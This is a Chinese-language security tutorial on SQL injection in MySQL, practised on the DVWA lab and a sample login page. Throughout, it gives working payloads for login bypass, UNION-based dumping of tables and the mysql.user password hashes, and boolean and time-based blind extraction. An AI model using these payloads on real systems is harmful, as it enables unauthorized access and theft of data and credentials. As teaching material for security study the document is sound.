1免责声明
本公众号提供的工具、教程、学习路线、精品文章均为原创或互联网收集,旨在提高网络安全技术水平为目的,只做技术研究,谨遵守国家相关法律法规,请勿用于违法用途,如果您对文章内容有疑问,可以尝试加入交流群讨论或留言私信,如有侵权请联系小编处理。
2内容速览
SQL注入是网站存在最多也是最简单的漏洞,主要原因是程序员在开发用户和数据库交互的系统时没有对用户输入的字符串进行过滤,转义,限制或处理不严谨,导致用户可以通过输入精心构造的字符串去非法获取到数据库中的数据。
注意:本文以免费开源数据库MySQL为例,看懂本文需要了解基本SQL语句。
Web 服务器会向数据访问层发起 Sql 查询请求,如果权限验证通过就会执行 Sql 语句。 这种网站内部直接发送的Sql请求一般不会有危险,但实际情况是很多时候需要结合用户的输入数据动态构造 Sql 语句,如果用户输入的数据被构造成恶意 Sql 代码,Web 应用又未对动态构造的 Sql 语句使用的参数进行审查,则会带来意想不到的危险。
Sql 注入带来的威胁主要有如下几点
接下来我们利用 Sql 漏洞绕过登录验证的实例 使用事先编写好的页面,这是一个普通的登录页面,只要输入正确的用户名和密码就能登录成功。
我们先尝试随意输入用户名 123 和密码 123 登录:
从错误页面中我们无法获取到任何信息。 看看后台代码如何做验证的:
实际执行的操作:
select * from users where username='123' and password='123'
当查询到数据表中存在同时满足 username 和 password 字段时,会返回登录成功。 按照第一个实例的思路,我们尝试在用户名中输入 123' or 1=1 #
, 密码同样输入 123' or 1=1 #
:
为什么能够成功登陆呢?因为实际执行的语句是:
select * from users where username='123' or 1=1 #' and password='123' or 1=1 #'
按照 Mysql 语法,# 后面的内容会被忽略,所以以上语句等同于(实际上密码框里不输入任何东西也一样):
select * from users where username='123' or 1=1
由于判断语句 or 1=1 恒成立,所以结果当然返回真,成功登录。 我们再尝试不使用 # 屏蔽单引号,采用手动闭合的方式: 我们尝试在用户名中输入 123' or '1'='1
, 密码同样输入 123' or '1'='1
(不能少了单引号,否则会有语法错误):
实际执行的 Sql 语句是:
select * from users where username='123' or '1'='1' and password='123' or '1'='1
看到了吗?两个 or 语句使 and 前后两个判断永远恒等于真,所以能够成功登录。
还有很多其他 Mysql 语句可以巧妙的绕过验证,可以发散自己的思维进行尝试。
事实上SQL注入有很多种,按数据类型可以分为数字型、字符型和搜索型,按提交方式可分为GET型,POST型,Cookie型和HTTP请求头注入,
按执行效果有可以分为报错注入、联合查询注入、盲注和堆查询注入,其中盲注又可分为基于bool的和基于时间的注入。从查询语句及可看出来这里
是字符型的注入同时也是GET型注入和表单注入
最为经典的单引号判断法: 在参数后面加上单引号,比如:
http://xxx/abc.php?id=1'
如果页面返回错误,则存在 Sql 注入。 原因是无论字符型还是整型都会因为单引号个数不匹配而报错。 (如果未报错,不代表不存在 Sql 注入,因为有可能页面对单引号做了过滤,这时可以使用判断语句进行注入,因为此为入门基础课程,就不做深入讲解了)
这里以数字型和字符型判断为例:
当输入的参 x 为整型时,通常 abc.php 中 Sql 语句类型大致如下:select * from <表名> where id = x
这种类型可以使用经典的 and 1=1
和 and 1=2
来判断:
http://xxx/abc.php?id= x and 1=1
页面依旧运行正常,继续进行下一步。http://xxx/abc.php?id= x and 1=2
页面运行错误,则说明此 Sql 注入为数字型注入。
原因如下: 当输入 and 1=1
时,后台执行 Sql 语句:select * from <表名> where id = x and 1=1
没有语法错误且逻辑判断为正确,所以返回正常。
当输入 and 1=2
时,后台执行 Sql 语句:
select * from <表名> where id = x and 1=2
没有语法错误但是逻辑判断为假,所以返回错误。 我们再使用假设法:如果这是字符型注入的话,我们输入以上语句之后应该出现如下情况:
select * from <表名> where id = 'x and 1=1'
select * from <表名> where id = 'x and 1=2'
查询语句将 and 语句全部转换为了字符串,并没有进行 and 的逻辑判断,所以不会出现以上结果,故假设是不成立的。
当输入的参 x 为字符型时,通常 abc.php 中 SQL 语句类型大致如下:select * from <表名> where id = 'x'
这种类型我们同样可以使用 and '1'='1
和 and '1'='2
来判断:
http://xxx/abc.php?id= x' and '1'='1
页面运行正常,继续进行下一步。http://xxx/abc.php?id= x' and '1'='2
页面运行错误,则说明此 Sql 注入为字符型注入。
原因如下: 当输入 and '1'='1
时,后台执行 Sql 语句:select * from <表名> where id = 'x' and '1'='1'
语法正确,逻辑判断正确,所以返回正确。
当输入 and '1'='2
时,后台执行 Sql 语句:
select * from <表名> where id = 'x' and '1'='2'
语法正确,但逻辑判断错误,所以返回正确。
POST型注入和Cookie注入需要插件和工具才可进行,以后在介绍,联合查询注入也是用的非常多的,可以在URL中提交SQL语句,也可以在表单提交,联合查询相当于把别的表的数据查询结果显示到当前表,使用联合查询时,必须使得两张表的表结构一致,因此我们需要判断当前表的列数有多少列,此外还需知道是字符型注入还是数字型注入,由前面实验可知这是字符型注入,所以我们闭合前面的单引号,构造联合注入语句,输入1'order by 1#,页面正常,然后输入1'order by 2#,依次增加,直到3时出现错误,如图,说明当前表有2列:
接着我们构造联合查询语句暴露查询列显示在网页的位置:'union select 1,2#;
接着构造联合查询语句查询当前数据库用户和数据库名,结果会显示在上图对应的位置:'union select user(),database()#;
我们知道每个MySQL数据库中都有数据库information,和mysql,而所有的数据库信息全部存储在information中,MySQL的用户名和密码存储在mysql中的user表中,所以我们可以使用information来查询到所有的数据,查询当前数据库所有数据:表:
'union select 1,table_name from information_schema.tables where table_schema=database()#;
查询当前数据库下数据表abc的所有字段:
'union select 1,column_name from information_schema.columns where table_name='abc'#;
查询当前数据库下数据表abc的字段user的数据:
'union select 1,user from abc#;
查询MySQL的root用户和密码hash值:
'union select user,authentication_string from mysql.user#
如图:
上面这些注入方法都需要网页可以显示查询数据的结果,而盲注适合页面不显示任何数据查询结果,基于bool的盲注就是页面只有正常和不正常两种情况,通过true和false来猜解数据,速度比较慢,基于bool的盲注通常用函数length(),返回长度,ascii(),返回ASCII值,substr(string,a,b),返回string以a开头,长度为b的字符串,count(),返回数量
点击DVWA页面的SQL Injection(Blind),随便输入数字发现只有两种显示结果,符合bool注入条件,构造语句猜测当前数据库名长度是否大于5:
1' and length(database())>5#
如图:
说明当前数据库长度是小于5 的用二分法继续构造:
1' and length(database())>3#;
显然长度大于3却不大于5,当前数据库名长度就是4,然后判断数据库名第一个字符ASCII是否大于97:
1'and (ascii(substr(database(),1,1)))>97#
依旧使用二分法慢慢判断,最终确定为ASCII为100,对应字符为:d;
然后判断数据库名第二个字符ASCII是否大于97:
1'and (ascii(substr(database(),2,1)))>97#
最终确定ASCII为118,对应字符:v,同上步骤继续,最终确定当前数据库为:dvwa;
然后判断当前数据库中数据表的个数:
1'and (select count(*) from information_schema.tables where table_schema=database())>3#
这个步骤可以有也可以没有,看完下面就知道了;
然后判断当前数据库中第一个数据表的长度是否大于5:
1'and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>5#
结果如图:
原理同上面判断数据库长度,最后得到当前数据库的第一个数据表的长度,获取第二个表的长度:
1'and (select length(table_name) from information_schema.tables where table_schema=database() limit 1,1)>5#
第三个,第四个以此类推,当第N个数据表长度大于0返回为假时,说明这个数据表不存在;
然后猜解当前数据库的第一个数据表的第一个字符的ASCII:
1'and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))>97#
结果为103,对应字符:g;
然后猜解当前数据库的第一个数据表的第二个字符的ASCII:
1'and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1)))>97#
结果为117,对应字符:u,
第三个,第四个字符以此类推直到猜解完毕;
然后猜解当前数据库中数据表users的列数:
1'and (select count(*) from information_schema.columns where table_schema=database() and table_name='users')>3#
同样,这个步骤也是可以省略的;
然后猜解当前数据库中数据表users的第一列的长度:
1'and (select length(column_name) from information_schema.columns where table_name='users' limit 0,1)>5#
当大于0为假,说明此列不存在;
然后猜解当前数据库数据表users的第一列字段的第一个字符:
1'and (ascii(substr(select column_name from information_schema.columns where table_name='users') limit 0,1),1,1)>97#
然后依次猜解完全部字段。
基于时间的盲注和基于bool的盲注很相似,只不过基于时间的盲注用于不管执行的SQL语句正确与否,页面都不会给任何提示,因此无法使用bool盲注。基于时间的盲注经常用到的函数除了上面的还有延时函数sleep(),if(c,a,b),如果c为真执行a,否则执行b。
猜解当前数据库名的长度,如果长度大于0就会延时5s:1'and if(length(database())>0,sleep(5),0)#,如图:
然后猜解当前数据库中数据表的个数:
1'and if((select count(*) from information_schema.tables where table_schema=database())>3,sleep(3),0)#;
然后猜解当前数据库中的第一个数据表的第一个字符的ASCII:
1'and if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))>97,sleep(3),0)#
同bool注入的步骤一样,只是注入语句有点差异,类比上面的语句即可猜解数所有数据。
SQL注入技术不是单凭一篇文章就可以讲完的,这里只讨论SQL注入的原理及常见的几种SQL注入的形成原因及利用方法,通过本篇相信你可以掌握SQL注入原理和相应类型的注入的方法,同时也需要掌握SQL注入的一般步骤:
1、测试网页是否存在SQL注入
2、判断SQL注入类型
3、利用SQL语句查询数据库当前用户及数据库
4、利用SQL语句查询表名、列名、字段名以及字段值